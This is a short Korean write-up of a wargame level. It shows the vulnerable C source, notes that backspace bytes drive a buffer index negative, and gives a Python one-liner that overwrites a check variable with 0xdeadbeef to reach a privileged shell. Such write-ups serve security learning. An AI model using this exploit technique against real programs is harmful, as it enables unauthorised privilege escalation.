SMALL
level18 // why did you do it
힌트를 보았는데 코드가 엄청 길다.
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
char string[100];
int check;
int x = 0;
int count = 0;
fd_set fds;
printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
shellout();
else
{
FD_ZERO(&fds);
FD_SET(STDIN_FILENO,&fds);
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
{
if(FD_ISSET(fileno(stdin),&fds))
{
read(fileno(stdin),&x,1);
switch(x)
{
case '\r':
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b \b");
break;
default:
string[count] = x;
count++;
break;
}
}
}
}
}
}
void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}
첨엔 뭐지 싶었지만 차분히 읽어보니 check가 0xdeadbeef가 되면 해결되는 문제였다.
(fd_set 에 관한건 : https://hahaite.tistory.com/290)
일단 구조가 궁금하니 디버깅을 해보자
구조는 다음과 같다.
main+91에서 [ebp-104] 와 0xdeadbeef를 비교한다. 즉 저부분을 공략하라는 것!
기본이 string[count] 인데 조건문을 보니 0x08 이면 count가 마이너가 된다고 한다. 그렇다면 ebp-104에 접근할 수 있을 것 같다.
즉, 0x08을 4번 하면 check인 ebp-104에 접근이 가능! 그다음에 deadbeef를 넣어주면 된다.
(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|./attackme
성공!
이해하는게 좀 오래 걸렸다..